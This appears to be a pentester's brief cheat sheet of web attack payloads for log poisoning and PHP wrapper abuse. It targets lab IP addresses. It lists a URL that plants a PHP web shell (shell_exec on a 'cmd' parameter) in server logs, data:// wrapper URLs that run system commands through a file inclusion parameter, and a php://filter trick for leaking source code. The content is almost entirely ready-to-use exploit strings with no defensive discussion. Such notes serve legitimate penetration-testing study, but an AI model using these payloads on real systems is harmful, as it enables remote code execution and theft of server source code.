Log Poisoning / PHP Wrapping

Log Poison

http://192.168.163.52/<?php echo '<pre>' . shell_exec($_GET['cmd']) . '</pre>';?>\n

PHP Wrappers

http://10.11.0.22/menu.php?file=data:text/plain,<?php echo shell_exec("dir") ?>
http://10.11.0.22/menu.php?file=data:text/plain,hello world


# encode to b64 if the site is rendering php 
http://10.11.0.22/menu.php?file=php://filter/convert.base64-encode/resource=index.php